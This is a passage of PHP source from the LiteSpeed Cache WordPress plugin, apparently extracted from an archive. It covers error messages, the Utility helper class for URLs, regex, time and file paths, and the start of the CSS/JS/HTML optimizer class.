				$msg = __( 'The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.', 'litespeed-cache' );
				break;

			case 'heavy_load':
				$msg = __( 'The current server is under heavy load.', 'litespeed-cache' );
				break;

			case 'redetect_node':
				$msg = __( 'Online node needs to be redetected.', 'litespeed-cache' );
				break;

			case 'err_overdraw':
				$msg = __( 'Credits are not enough to proceed the current request.', 'litespeed-cache' );
				break;

			case 'W':
				$msg = __( '%s file not writable.', 'litespeed-cache' );
				break;

			case 'HTA_DNF':
				if ( ! is_array( $args ) ) {
					$args = array( '<code>' . $args . '</code>' );
				}
				$args[] = '.htaccess';
				$msg    = __( 'Could not find %1$s in %2$s.', 'litespeed-cache' );
				break;

			case 'HTA_LOGIN_COOKIE_INVALID':
				$msg = sprintf( __( 'Invalid login cookie. Please check the %s file.', 'litespeed-cache' ), '.htaccess' );
				break;

			case 'HTA_BK':
				$msg = sprintf( __( 'Failed to back up %s file, aborted changes.', 'litespeed-cache' ), '.htaccess' );
				break;

			case 'HTA_R':
				$msg = sprintf( __( '%s file not readable.', 'litespeed-cache' ), '.htaccess' );
				break;

			case 'HTA_W':
				$msg = sprintf( __( '%s file not writable.', 'litespeed-cache' ), '.htaccess' );
				break;

			case 'HTA_GET':
				$msg = sprintf( __( 'Failed to get %s file contents.', 'litespeed-cache' ), '.htaccess' );
				break;

			case 'failed_tb_creation':
				$msg = __( 'Failed to create table %1$s! SQL: %2$s.', 'litespeed-cache' );
				break;

			case 'crawler_disabled':
				$msg = __( 'Crawler disabled by the server admin.', 'litespeed-cache' );
				break;

			case 'try_later': // QC error code
				$msg = __( 'Previous request too recent. Please try again later.', 'litespeed-cache' );
				break;

			case 0 === strpos( $code, 'try_later ' ):
				$msg = sprintf(
					__( 'Previous request too recent. Please try again after %s.', 'litespeed-cache' ),
					'<code>' . Utility::readable_time( substr( $code, strlen( 'try_later ' ) ), 3600, true ) . '</code>'
				);
				break;

			case 'waiting_for_approval':
				$msg = __( 'Your application is waiting for approval.', 'litespeed-cache' );
				break;

			case 'callback_fail_hash':
				$msg = __( 'The callback validation to your domain failed due to hash mismatch.', 'litespeed-cache' );
				break;

			case 'callback_fail':
				$msg = __( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.', 'litespeed-cache' );
				break;

			case substr( $code, 0, 14 ) === 'callback_fail ':
				$msg =
					__( 'The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: ', 'litespeed-cache' ) .
					substr( $code, 14 );
				break;

			case 'forbidden':
				$msg = __( 'Your domain has been forbidden from using our services due to a previous policy violation.', 'litespeed-cache' );
				break;

			case 'err_dns_active':
				$msg = __(
					'You cannot remove this DNS zone, because it is still in use. Please update the domain\'s nameservers, then try to delete this zone again, otherwise your site will become inaccessible.',
					'litespeed-cache'
				);
				break;

			default:
				$msg = __( 'Unknown error', 'litespeed-cache' ) . ': ' . $code;
				break;
		}

		if ( null !== $args ) {
			$msg = is_array( $args ) ? vsprintf( $msg, $args ) : sprintf( $msg, $args );
		}

		if ( isset( self::$CODE_SET[ $code ] ) ) {
			$msg = 'ERROR ' . self::$CODE_SET[ $code ] . ': ' . $msg;
		}

		return $msg;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/utility.cls.php000064400000053415151031165260020062 0ustar00<?php
// phpcs:ignoreFile

/**
 * The utility class.
 *
 * @since       1.1.5
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Utility extends Root {

	private static $_internal_domains;

	/**
	 * Validate regex
	 *
	 * @since 1.0.9
	 * @since  3.0 Moved here from admin-settings.cls
	 * @access public
	 * @return bool True for valid rules, false otherwise.
	 */
	public static function syntax_checker( $rules ) {
		return preg_match(self::arr2regex($rules), '') !== false;
	}

	/**
	 * Combine regex array to regex rule
	 *
	 * @since  3.0
	 */
	public static function arr2regex( $arr, $drop_delimiter = false ) {
		$arr = self::sanitize_lines($arr);

		$new_arr = array();
		foreach ($arr as $v) {
			$new_arr[] = preg_quote($v, '#');
		}

		$regex = implode('|', $new_arr);
		$regex = str_replace(' ', '\\ ', $regex);

		if ($drop_delimiter) {
			return $regex;
		}

		return '#' . $regex . '#';
	}

	/**
	 * Replace wildcard to regex
	 *
	 * @since  3.2.2
	 */
	public static function wildcard2regex( $string ) {
		if (is_array($string)) {
			return array_map(__CLASS__ . '::wildcard2regex', $string);
		}

		if (strpos($string, '*') !== false) {
			$string = preg_quote($string, '#');
			$string = str_replace('\*', '.*', $string);
		}

		return $string;
	}

	/**
	 * Check if an URL or current page is REST req or not
	 *
	 * @since  2.9.3
	 * @deprecated 2.9.4 Moved to REST class
	 * @access public
	 */
	public static function is_rest( $url = false ) {
		return false;
	}

	/**
	 * Get current page type
	 *
	 * @since  2.9
	 */
	public static function page_type() {
		global $wp_query;
		$page_type = 'default';

		if ($wp_query->is_page) {
			$page_type = is_front_page() ? 'front' : 'page';
		} elseif ($wp_query->is_home) {
			$page_type = 'home';
		} elseif ($wp_query->is_single) {
			// $page_type = $wp_query->is_attachment ? 'attachment' : 'single';
			$page_type = get_post_type();
		} elseif ($wp_query->is_category) {
			$page_type = 'category';
		} elseif ($wp_query->is_tag) {
			$page_type = 'tag';
		} elseif ($wp_query->is_tax) {
			$page_type = 'tax';
			// $page_type = get_queried_object()->taxonomy;
		} elseif ($wp_query->is_archive) {
			if ($wp_query->is_day) {
				$page_type = 'day';
			} elseif ($wp_query->is_month) {
				$page_type = 'month';
			} elseif ($wp_query->is_year) {
				$page_type = 'year';
			} elseif ($wp_query->is_author) {
				$page_type = 'author';
			} else {
				$page_type = 'archive';
			}
		} elseif ($wp_query->is_search) {
			$page_type = 'search';
		} elseif ($wp_query->is_404) {
			$page_type = '404';
		}

		return $page_type;

		// if ( is_404() ) {
		// $page_type = '404';
		// }
		// elseif ( is_singular() ) {
		// $page_type = get_post_type();
		// }
		// elseif ( is_home() && get_option( 'show_on_front' ) == 'page' ) {
		// $page_type = 'home';
		// }
		// elseif ( is_front_page() ) {
		// $page_type = 'front';
		// }
		// elseif ( is_tax() ) {
		// $page_type = get_queried_object()->taxonomy;
		// }
		// elseif ( is_category() ) {
		// $page_type = 'category';
		// }
		// elseif ( is_tag() ) {
		// $page_type = 'tag';
		// }

		// return $page_type;
	}

	/**
	 * Get ping speed
	 *
	 * @since  2.9
	 */
	public static function ping( $domain ) {
		if (strpos($domain, ':')) {
			$domain = parse_url($domain, PHP_URL_HOST);
		}
		$starttime = microtime(true);
		$file      = fsockopen($domain, 443, $errno, $errstr, 10);
		$stoptime  = microtime(true);
		$status    = 0;

		if (!$file) {
			$status = 99999;
		}
		// Site is down
		else {
			fclose($file);
			$status = ($stoptime - $starttime) * 1000;
			$status = floor($status);
		}

		Debug2::debug("[Util] ping [Domain] $domain \t[Speed] $status");

		return $status;
	}

	/**
	 * Set seconds/timestamp to readable format
	 *
	 * @since  1.6.5
	 * @access public
	 */
	public static function readable_time( $seconds_or_timestamp, $timeout = 3600, $forward = false ) {
		if (strlen($seconds_or_timestamp) == 10) {
			$seconds = time() - $seconds_or_timestamp;
			if ($seconds > $timeout) {
				return date('m/d/Y H:i:s', $seconds_or_timestamp + LITESPEED_TIME_OFFSET);
			}
		} else {
			$seconds = $seconds_or_timestamp;
		}

		$res = '';
		if ($seconds > 86400) {
			$num      = floor($seconds / 86400);
			$res     .= $num . 'd';
			$seconds %= 86400;
		}

		if ($seconds > 3600) {
			if ($res) {
				$res .= ', ';
			}
			$num      = floor($seconds / 3600);
			$res     .= $num . 'h';
			$seconds %= 3600;
		}

		if ($seconds > 60) {
			if ($res) {
				$res .= ', ';
			}
			$num      = floor($seconds / 60);
			$res     .= $num . 'm';
			$seconds %= 60;
		}

		if ($seconds > 0) {
			if ($res) {
				$res .= ' ';
			}
			$res .= $seconds . 's';
		}

		if (!$res) {
			return $forward ? __('right now', 'litespeed-cache') : __('just now', 'litespeed-cache');
		}

		$res = $forward ? $res : sprintf(__(' %s ago', 'litespeed-cache'), $res);

		return $res;
	}

	/**
	 * Convert array to string
	 *
	 * @since  1.6
	 * @access public
	 */
	public static function arr2str( $arr ) {
		if (!is_array($arr)) {
			return $arr;
		}

		return base64_encode(\json_encode($arr));
	}

	/**
	 * Get human readable size
	 *
	 * @since  1.6
	 * @access public
	 */
	public static function real_size( $filesize, $is_1000 = false ) {
		$unit = $is_1000 ? 1000 : 1024;

		if ($filesize >= pow($unit, 3)) {
			$filesize = round(($filesize / pow($unit, 3)) * 100) / 100 . 'G';
		} elseif ($filesize >= pow($unit, 2)) {
			$filesize = round(($filesize / pow($unit, 2)) * 100) / 100 . 'M';
		} elseif ($filesize >= $unit) {
			$filesize = round(($filesize / $unit) * 100) / 100 . 'K';
		} else {
			$filesize = $filesize . 'B';
		}
		return $filesize;
	}

	/**
	 * Parse attributes from string
	 *
	 * @since  1.2.2
	 * @since  1.4 Moved from optimize to utility
	 * @access private
	 * @param  string $str
	 * @return array  All the attributes
	 */
	public static function parse_attr( $str ) {
		$attrs = array();
		preg_match_all('#([\w-]+)=(["\'])([^\2]*)\2#isU', $str, $matches, PREG_SET_ORDER);
		foreach ($matches as $match) {
			$attrs[$match[1]] = trim($match[3]);
		}
		return $attrs;
	}

	/**
	 * Check if an array has a string
	 *
	 * Support $ exact match
	 *
	 * @since 1.3
	 * @access private
	 * @param string $needle The string to search with
	 * @param array  $haystack
	 * @return bool|string False if not found, otherwise return the matched string in haystack.
	 */
	public static function str_hit_array( $needle, $haystack, $has_ttl = false ) {
		if (!$haystack) {
			return false;
		}
		/**
		 * Safety check to avoid PHP warning
		 *
		 * @see  https://github.com/litespeedtech/lscache_wp/pull/131/commits/45fc03af308c7d6b5583d1664fad68f75fb6d017
		 */
		if (!is_array($haystack)) {
			Debug2::debug('[Util] ❌ bad param in str_hit_array()!');

			return false;
		}

		$hit      = false;
		$this_ttl = 0;
		foreach ($haystack as $item) {
			if (!$item) {
				continue;
			}

			if ($has_ttl) {
				$this_ttl = 0;
				$item     = explode(' ', $item);
				if (!empty($item[1])) {
					$this_ttl = $item[1];
				}
				$item = $item[0];
			}

			if (substr($item, 0, 1) === '^' && substr($item, -1) === '$') {
				// do exact match
				if (substr($item, 1, -1) === $needle) {
					$hit = $item;
					break;
				}
			} elseif (substr($item, -1) === '$') {
				// match end
				if (substr($item, 0, -1) === substr($needle, -strlen($item) + 1)) {
					$hit = $item;
					break;
				}
			} elseif (substr($item, 0, 1) === '^') {
				// match beginning
				if (substr($item, 1) === substr($needle, 0, strlen($item) - 1)) {
					$hit = $item;
					break;
				}
			} elseif (strpos($needle, $item) !== false) {
				$hit = $item;
				break;
			}
		}

		if ($hit) {
			if ($has_ttl) {
				return array( $hit, $this_ttl );
			}

			return $hit;
		}

		return false;
	}

	/**
	 * Improve compatibility to PHP old versions
	 *
	 * @since  1.2.2
	 */
	public static function compatibility() {
		require_once LSCWP_DIR . 'lib/php-compatibility.func.php';
	}

	/**
	 * Convert URI to URL
	 *
	 * @since  1.3
	 * @access public
	 * @param  string $uri `xx/xx.html` or `/subfolder/xx/xx.html`
	 * @return  string http://www.example.com/subfolder/xx/xx.html
	 */
	public static function uri2url( $uri ) {
		if (substr($uri, 0, 1) === '/') {
			self::domain_const();
			$url = LSCWP_DOMAIN . $uri;
		} else {
			$url = home_url('/') . $uri;
		}

		return $url;
	}

	/**
	 * Convert URL to basename (filename)
	 *
	 * @since  4.7
	 */
	public static function basename( $url ) {
		$url      = trim($url);
		$uri      = @parse_url($url, PHP_URL_PATH);
		$basename = pathinfo($uri, PATHINFO_BASENAME);

		return $basename;
	}

	/**
	 * Drop .webp and .avif if existed in filename
	 *
	 * @since  4.7
	 */
	public static function drop_webp( $filename ) {
		if (in_array(substr($filename, -5), array( '.webp', '.avif' ))) {
			$filename = substr($filename, 0, -5);
		}

		return $filename;
	}

	/**
	 * Convert URL to URI
	 *
	 * @since  1.2.2
	 * @since  1.6.2.1 Added 2nd param keep_qs
	 * @access public
	 */
	public static function url2uri( $url, $keep_qs = false ) {
		$url = trim($url);
		$uri = @parse_url($url, PHP_URL_PATH);
		$qs  = @parse_url($url, PHP_URL_QUERY);

		if (!$keep_qs || !$qs) {
			return $uri;
		}

		return $uri . '?' . $qs;
	}

	/**
	 * Get attachment relative path to upload folder
	 *
	 * @since 3.0
	 * @access public
	 * @param  string $url `https://aa.com/bbb/wp-content/upload/2018/08/test.jpg` or `/bbb/wp-content/upload/2018/08/test.jpg`
	 * @return string   `2018/08/test.jpg`
	 */
	public static function att_short_path( $url ) {
		if (!defined('LITESPEED_UPLOAD_PATH')) {
			$_wp_upload_dir = wp_upload_dir();

			$upload_path = self::url2uri($_wp_upload_dir['baseurl']);

			define('LITESPEED_UPLOAD_PATH', $upload_path);
		}

		$local_file = self::url2uri($url);

		$short_path = substr($local_file, strlen(LITESPEED_UPLOAD_PATH) + 1);

		return $short_path;
	}

	/**
	 * Make URL to be relative
	 *
	 * NOTE: for subfolder home_url, will keep subfolder part (strip nothing but scheme and host)
	 *
	 * @param  string $url
	 * @return string      Relative URL, start with /
	 */
	public static function make_relative( $url ) {
		// replace home_url if the url is full url
		self::domain_const();
		if (strpos($url, LSCWP_DOMAIN) === 0) {
			$url = substr($url, strlen(LSCWP_DOMAIN));
		}
		return trim($url);
	}

	/**
	 * Convert URL to domain only
	 *
	 * @since  1.7.1
	 */
	public static function parse_domain( $url ) {
		$url = @parse_url($url);
		if (empty($url['host'])) {
			return '';
		}

		if (!empty($url['scheme'])) {
			return $url['scheme'] . '://' . $url['host'];
		}

		return '//' . $url['host'];
	}

	/**
	 * Drop protocol `https:` from https://example.com
	 *
	 * @since  3.3
	 */
	public static function noprotocol( $url ) {
		$tmp = parse_url(trim($url));
		if (!empty($tmp['scheme'])) {
			$url = str_replace($tmp['scheme'] . ':', '', $url);
		}

		return $url;
	}

	/**
	 * Validate ip v4
	 *
	 * @since 5.5
	 */
	public static function valid_ipv4( $ip ) {
		return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
	}

	/**
	 * Generate domain const
	 *
	 * This will generate http://www.example.com even there is a subfolder in home_url setting
	 *
	 * Conf LSCWP_DOMAIN has NO trailing /
	 *
	 * @since  1.3
	 * @access public
	 */
	public static function domain_const() {
		if (defined('LSCWP_DOMAIN')) {
			return;
		}

		self::compatibility();
		$domain = http_build_url(get_home_url(), array(), HTTP_URL_STRIP_ALL);

		define('LSCWP_DOMAIN', $domain);
	}

	/**
	 * Array map one textarea to sanitize the url
	 *
	 * @since  1.3
	 * @access public
	 * @param  array|string $arr
	 * @param  string|null  $type String handler type
	 * @return string|array
	 */
	public static function sanitize_lines( $arr, $type = null ) {
		$types = $type ? explode(',', $type) : array();

		if (!$arr) {
			if ($type === 'string') {
				return '';
			}
			return array();
		}

		if (!is_array($arr)) {
			$arr = explode("\n", $arr);
		}

		$arr     = array_map('trim', $arr);
		$changed = false;
		if (in_array('uri', $types)) {
			$arr     = array_map(__CLASS__ . '::url2uri', $arr);
			$changed = true;
		}
		if (in_array('basename', $types)) {
			$arr     = array_map(__CLASS__ . '::basename', $arr);
			$changed = true;
		}
		if (in_array('drop_webp', $types)) {
			$arr     = array_map(__CLASS__ . '::drop_webp', $arr);
			$changed = true;
		}
		if (in_array('relative', $types)) {
			$arr     = array_map(__CLASS__ . '::make_relative', $arr); // Remove domain
			$changed = true;
		}
		if (in_array('domain', $types)) {
			$arr     = array_map(__CLASS__ . '::parse_domain', $arr); // Only keep domain
			$changed = true;
		}

		if (in_array('noprotocol', $types)) {
			$arr     = array_map(__CLASS__ . '::noprotocol', $arr); // Drop protocol, `https://example.com` -> `//example.com`
			$changed = true;
		}

		if (in_array('trailingslash', $types)) {
			$arr     = array_map('trailingslashit', $arr); // Append trailing slash, `https://example.com` -> `https://example.com/`
			$changed = true;
		}

		if ($changed) {
			$arr = array_map('trim', $arr);
		}
		$arr = array_unique($arr);
		$arr = array_filter($arr);

		if (in_array('string', $types)) {
			return implode("\n", $arr);
		}

		return $arr;
	}

	/**
	 * Builds an url with an action and a nonce.
	 *
	 * Assumes user capabilities are already checked.
	 *
	 * @since  1.6 Changed order of 2nd&3rd param, changed 3rd param `append_str` to 2nd `type`
	 * @access public
	 * @return string The built url.
	 */
	public static function build_url( $action, $type = false, $is_ajax = false, $page = null, $append_arr = array(), $unescape = false ) {
		$prefix = '?';

		if ($page === '_ori') {
			$page                         = true;
			$append_arr['_litespeed_ori'] = 1;
		}

		if (!$is_ajax) {
			if ($page) {
				// If use admin url
				if ($page === true) {
					$page = 'admin.php';
				} elseif (strpos($page, '?') !== false) {
					$prefix = '&';
				}
				$combined = $page . $prefix . Router::ACTION . '=' . $action;
			} else {
				// Current page rebuild URL
				$params = $_GET;

				if (!empty($params)) {
					if (isset($params[Router::ACTION])) {
						unset($params[Router::ACTION]);
					}
					if (isset($params['_wpnonce'])) {
						unset($params['_wpnonce']);
					}
					if (!empty($params)) {
						$prefix .= http_build_query($params) . '&';
					}
				}
				global $pagenow;
				$combined = $pagenow . $prefix . Router::ACTION . '=' . $action;
			}
		} else {
			$combined = 'admin-ajax.php?action=litespeed_ajax&' . Router::ACTION . '=' . $action;
		}

		if (is_network_admin()) {
			$prenonce = network_admin_url($combined);
		} else {
			$prenonce = admin_url($combined);
		}
		$url = wp_nonce_url($prenonce, $action, Router::NONCE);

		if ($type) {
			// Remove potential param `type` from url
			$url = parse_url(htmlspecialchars_decode($url));
			parse_str($url['query'], $query);

			$built_arr = array_merge($query, array( Router::TYPE => $type ));
			if ($append_arr) {
				$built_arr = array_merge($built_arr, $append_arr);
			}
			$url['query'] = http_build_query($built_arr);
			self::compatibility();
			$url = http_build_url($url);
			$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
		}

		if ($unescape) {
			$url = wp_specialchars_decode($url);
		}

		return $url;
	}

	/**
	 * Check if the host is the internal host
	 *
	 * @since  1.2.3
	 */
	public static function internal( $host ) {
		if (!defined('LITESPEED_FRONTEND_HOST')) {
			if (defined('WP_HOME')) {
				$home_host = constant('WP_HOME'); // Also think of `WP_SITEURL`
			} else {
				$home_host = get_option('home');
			}
			define('LITESPEED_FRONTEND_HOST', parse_url($home_host, PHP_URL_HOST));
		}

		if ($host === LITESPEED_FRONTEND_HOST) {
			return true;
		}

		/**
		 * Filter for multiple domains
		 *
		 * @since 2.9.4
		 */
		if (!isset(self::$_internal_domains)) {
			self::$_internal_domains = apply_filters('litespeed_internal_domains', array());
		}

		if (self::$_internal_domains) {
			return in_array($host, self::$_internal_domains);
		}

		return false;
	}

	/**
	 * Check if an URL is a internal existing file
	 *
	 * @since  1.2.2
	 * @since  1.6.2 Moved here from optm.cls due to usage of media.cls
	 * @access public
	 * @return string|bool The real path of file OR false
	 */
	public static function is_internal_file( $url, $addition_postfix = false ) {
		if (substr($url, 0, 5) == 'data:') {
			Debug2::debug2('[Util] data: content not file');
			return false;
		}
		$url_parsed = parse_url($url);
		if (isset($url_parsed['host']) && !self::internal($url_parsed['host'])) {
			// Check if is cdn path
			// Do this to avoid user hardcoded src in tpl
			if (!CDN::internal($url_parsed['host'])) {
				Debug2::debug2('[Util] external');
				return false;
			}
		}

		if (empty($url_parsed['path'])) {
			return false;
		}

		// Need to replace child blog path for assets, ref: .htaccess
		if (is_multisite() && defined('PATH_CURRENT_SITE')) {
			$pattern            = '#^' . PATH_CURRENT_SITE . '([_0-9a-zA-Z-]+/)(wp-(content|admin|includes))#U';
			$replacement        = PATH_CURRENT_SITE . '$2';
			$url_parsed['path'] = preg_replace($pattern, $replacement, $url_parsed['path']);
			// $current_blog = (int) get_current_blog_id();
			// $main_blog_id = (int) get_network()->site_id;
			// if ( $current_blog === $main_blog_id ) {
			// define( 'LITESPEED_IS_MAIN_BLOG', true );
			// }
			// else {
			// define( 'LITESPEED_IS_MAIN_BLOG', false );
			// }
		}

		// Parse file path
		/**
		 * Trying to fix pure /.htaccess rewrite to /wordpress case
		 *
		 * Add `define( 'LITESPEED_WP_REALPATH', '/wordpress' );` in wp-config.php in this case
		 *
		 * @internal #611001 - Combine & Minify not working?
		 * @since  1.6.3
		 */
		if (substr($url_parsed['path'], 0, 1) === '/') {
			if (defined('LITESPEED_WP_REALPATH')) {
				$file_path_ori = $_SERVER['DOCUMENT_ROOT'] . constant('LITESPEED_WP_REALPATH') . $url_parsed['path'];
			} else {
				$file_path_ori = $_SERVER['DOCUMENT_ROOT'] . $url_parsed['path'];
			}
		} else {
			$file_path_ori = Router::frontend_path() . '/' . $url_parsed['path'];
		}

		/**
		 * Added new file postfix to be check if passed in
		 *
		 * @since 2.2.4
		 */
		if ($addition_postfix) {
			$file_path_ori .= '.' . $addition_postfix;
		}

		/**
		 * Added this filter for those plugins which overwrite the filepath
		 *
		 * @see #101091 plugin `Hide My WordPress`
		 * @since 2.2.3
		 */
		$file_path_ori = apply_filters('litespeed_realpath', $file_path_ori);

		$file_path = realpath($file_path_ori);
		if (!is_file($file_path)) {
			Debug2::debug2('[Util] file not exist: ' . $file_path_ori);
			return false;
		}

		return array( $file_path, filesize($file_path) );
	}

	/**
	 * Safely parse URL for v5.3 compatibility
	 *
	 * @since  3.4.3
	 */
	public static function parse_url_safe( $url, $component = -1 ) {
		if (substr($url, 0, 2) == '//') {
			$url = 'https:' . $url;
		}

		return parse_url($url, $component);
	}

	/**
	 * Replace url in srcset to new value
	 *
	 * @since  2.2.3
	 */
	public static function srcset_replace( $content, $callback ) {
		preg_match_all('# srcset=([\'"])(.+)\g{1}#iU', $content, $matches);
		$srcset_ori   = array();
		$srcset_final = array();
		foreach ($matches[2] as $k => $urls_ori) {
			$urls_final = explode(',', $urls_ori);

			$changed = false;

			foreach ($urls_final as $k2 => $url_info) {
				$url_info_arr = explode(' ', trim($url_info));

				if (!($url2 = call_user_func($callback, $url_info_arr[0]))) {
					continue;
				}

				$changed = true;

				$urls_final[$k2] = str_replace($url_info_arr[0], $url2, $url_info);

				Debug2::debug2('[Util] - srcset replaced to ' . $url2 . (!empty($url_info_arr[1]) ? ' ' . $url_info_arr[1] : ''));
			}

			if (!$changed) {
				continue;
			}

			$urls_final = implode(',', $urls_final);

			$srcset_ori[] = $matches[0][$k];

			$srcset_final[] = str_replace($urls_ori, $urls_final, $matches[0][$k]);
		}

		if ($srcset_ori) {
			$content = str_replace($srcset_ori, $srcset_final, $content);
			Debug2::debug2('[Util] - srcset replaced');
		}

		return $content;
	}

	/**
	 * Generate pagination
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function pagination( $total, $limit, $return_offset = false ) {
		$pagenum = isset($_GET['pagenum']) ? absint($_GET['pagenum']) : 1;

		$offset       = ($pagenum - 1) * $limit;
		$num_of_pages = ceil($total / $limit);

		if ($offset > $total) {
			$offset = $total - $limit;
		}

		if ($offset < 0) {
			$offset = 0;
		}

		if ($return_offset) {
			return $offset;
		}

		$page_links = paginate_links(array(
			'base' => add_query_arg('pagenum', '%#%'),
			'format' => '',
			'prev_text' => '&laquo;',
			'next_text' => '&raquo;',
			'total' => $num_of_pages,
			'current' => $pagenum,
		));

		return '<div class="tablenav"><div class="tablenav-pages" style="margin: 1em 0">' . $page_links . '</div></div>';
	}

	/**
	 * Generate placeholder for an array to query
	 *
	 * @since 2.0
	 * @access public
	 */
	public static function chunk_placeholder( $data, $fields ) {
		$division = substr_count($fields, ',') + 1;

		$q = implode(
			',',
			array_map(function ( $el ) {
				return '(' . implode(',', $el) . ')';
			}, array_chunk(array_fill(0, count($data), '%s'), $division))
		);

		return $q;
	}

	/**
	 * Prepare image sizes for optimization.
	 *
	 * @since 7.5
	 * @access public
	 */
	public static function prepare_image_sizes_array( $detailed = false ) {
		$image_sizes  = wp_get_registered_image_subsizes();
		$sizes = [];

		foreach ( $image_sizes as $current_size_name => $current_size ) {
			if( empty( $current_size['width'] ) && empty( $current_size['height'] ) ) continue;
			
			if( !$detailed ) {
				$sizes[] = $current_size_name;
			}
			else{
				$label =  $current_size['width']  . 'x' . $current_size['height'];
				if( $current_size_name !== $label ){
					$label = ucfirst( $current_size_name ) . ' ( ' . $label  . ' )';
				}

				$sizes[] = [
					"label"     => $label,
					"file_size" => $current_size_name,
					"width"     => $current_size['width'],
					"height"    => $current_size['height'],
				];
			}
		}

		return $sizes;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/optimizer.cls.php000064400000022650151031165260020376 0ustar00<?php
// phpcs:ignoreFile

/**
 * The optimize4 class.
 *
 * @since       1.9
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Optimizer extends Root {

	private $_conf_css_font_display;

	/**
	 * Init optimizer
	 *
	 * @since  1.9
	 */
	public function __construct() {
		$this->_conf_css_font_display = $this->conf(Base::O_OPTM_CSS_FONT_DISPLAY);
	}

	/**
	 * Run HTML minify process and return final content
	 *
	 * @since  1.9
	 * @access public
	 */
	public function html_min( $content, $force_inline_minify = false ) {
		if (!apply_filters('litespeed_html_min', true)) {
			Debug2::debug2('[Optmer] html_min bypassed via litespeed_html_min filter');
			return $content;
		}

		$options = array();

		if ($force_inline_minify) {
			$options['jsMinifier'] = __CLASS__ . '::minify_js';
		}

		$skip_comments = $this->conf(Base::O_OPTM_HTML_SKIP_COMMENTS);
		if ($skip_comments) {
			$options['skipComments'] = $skip_comments;
		}

		/**
		 * Added exception capture when minify
		 *
		 * @since  2.2.3
		 */
		try {
			$obj           = new Lib\HTML_MIN($content, $options);
			$content_final = $obj->process();
			// check if content from minification is empty
			if ($content_final == '') {
				Debug2::debug('Failed to minify HTML: HTML minification resulted in empty HTML');
				return $content;
			}
			if (!defined('LSCACHE_ESI_SILENCE')) {
				$content_final .= "\n" . '<!-- Page optimized by LiteSpeed Cache @' . date('Y-m-d H:i:s', time() + LITESPEED_TIME_OFFSET) . ' -->';
			}
			return $content_final;
		} catch (\Exception $e) {
			Debug2::debug('******[Optmer] html_min failed: ' . $e->getMessage());
			error_log('****** LiteSpeed Optimizer html_min failed: ' . $e->getMessage());
			return $content;
		}
	}

	/**
	 * Run minify process and save content
	 *
	 * @since  1.9
	 * @access public
	 */
	public function serve( $request_url, $file_type, $minify, $src_list ) {
		// Try Unique CSS
		if ($file_type == 'css') {
			$content = false;
			if (defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_OPTM_UCSS)) {
				$filename = $this->cls('UCSS')->load($request_url);

				if ($filename) {
					return array( $filename, 'ucss' );
				}
			}
		}

		// Before generated, don't know the contented hash filename yet, so used url hash as tmp filename
		$file_path_prefix = $this->_build_filepath_prefix($file_type);

		$url_tag          = $request_url;
		$url_tag_for_file = md5($request_url);
		if (is_404()) {
			$url_tag_for_file = $url_tag = '404';
		} elseif ($file_type == 'css' && apply_filters('litespeed_ucss_per_pagetype', false)) {
			$url_tag_for_file = $url_tag = Utility::page_type();
		}

		$static_file = LITESPEED_STATIC_DIR . $file_path_prefix . $url_tag_for_file . '.' . $file_type;

		// Create tmp file to avoid conflict
		$tmp_static_file = $static_file . '.tmp';
		if (file_exists($tmp_static_file) && time() - filemtime($tmp_static_file) <= 600) {
			// some other request is generating
			return false;
		}
		// File::save( $tmp_static_file, '/* ' . ( is_404() ? '404' : $request_url ) . ' */', true ); // Can't use this bcos this will get filecon md5 changed
		File::save($tmp_static_file, '', true);

		// Load content
		$real_files = array();
		foreach ($src_list as $src_info) {
			$is_min = false;
			if (!empty($src_info['inl'])) {
				// Load inline
				$content = $src_info['src'];
			} else {
				// Load file
				$content = $this->load_file($src_info['src'], $file_type);

				if (!$content) {
					continue;
				}

				$is_min = $this->is_min($src_info['src']);
			}
			$content = $this->optm_snippet($content, $file_type, $minify && !$is_min, $src_info['src'], !empty($src_info['media']) ? $src_info['media'] : false);
			// Write to file
			File::save($tmp_static_file, $content, true, true);
		}

		// if CSS - run the minification on the saved file.
		// Will move imports to the top of file and remove extra spaces.
		if ($file_type == 'css') {
			$obj                   = new Lib\CSS_JS_MIN\Minify\CSS();
			$file_content_combined = $obj->moveImportsToTop(File::read($tmp_static_file));

			File::save($tmp_static_file, $file_content_combined);
		}

		// validate md5
		$filecon_md5 = md5_file($tmp_static_file);

		$final_file_path = $file_path_prefix . $filecon_md5 . '.' . $file_type;
		$realfile        = LITESPEED_STATIC_DIR . $final_file_path;
		if (!file_exists($realfile)) {
			rename($tmp_static_file, $realfile);
			Debug2::debug2('[Optmer] Saved static file [path] ' . $realfile);
		} else {
			unlink($tmp_static_file);
		}

		$vary = $this->cls('Vary')->finalize_full_varies();
		Debug2::debug2("[Optmer] Save URL to file for [file_type] $file_type [file] $filecon_md5 [vary] $vary ");
		$this->cls('Data')->save_url($url_tag, $vary, $file_type, $filecon_md5, dirname($realfile));

		return array( $filecon_md5 . '.' . $file_type, $file_type );
	}

	/**
	 * Load a single file
	 *
	 * @since  4.0
	 */
	public function optm_snippet( $content, $file_type, $minify, $src, $media = false ) {
		// CSS related features
		if ($file_type == 'css') {
			// Font optimize
			if ($this->_conf_css_font_display) {
				$content = preg_replace('#(@font\-face\s*\{)#isU', '${1}font-display:swap;', $content);
			}

			$content = preg_replace('/@charset[^;]+;\\s*/', '', $content);

			if ($media) {
				$content = '@media ' . $media . '{' . $content . "\n}";
			}

			if ($minify) {
				$content = self::minify_css($content);
			}

			$content = $this->cls('CDN')->finalize($content);

			if ((defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_IMG_OPTM_WEBP)) && $this->cls('Media')->webp_support()) {
				$content = $this->cls('Media')->replace_background_webp($content);
			}
		} else {
			if ($minify) {
				$content = self::minify_js($content);
			} else {
				$content = $this->_null_minifier($content);
			}

			$content .= "\n;";
		}

		// Add filter
